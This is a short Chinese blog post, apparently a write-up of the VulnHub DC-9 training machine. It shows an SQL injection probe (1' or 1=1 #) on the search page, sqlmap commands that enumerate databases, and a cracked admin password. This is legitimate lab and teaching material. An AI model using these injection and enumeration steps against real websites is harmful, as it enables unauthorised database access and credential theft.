（VulnHub靶机通关）DC-9_vulhub下载地址

作者：Li_阴宅 | 2024-08-16 08:26:10

踩

vulhub下载地址

IP：192.168.43.192 80端口为开放状态，22端口是filtered状态

访问80端口的web服务，打开Search界面，输入1' or 1=1 #

存在sql注入

burpsuite抓包然后保存为DC.txt，然后用sqlmap进行爆破

爆库名

python sqlmap.py -r "C:\Users\11989\Desktop\DC.txt" --dbs

有Staff、users库

爆出users库

查看当前库

python sqlmap.py -r "C:\Users\11989\Desktop\DC.txt" --current-db

爆Staff的数据，发现一个admin用户，将密码复制到https://www.somd5.com/解密

得到密码：transorbital1

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Li_阴宅/article/detail/987367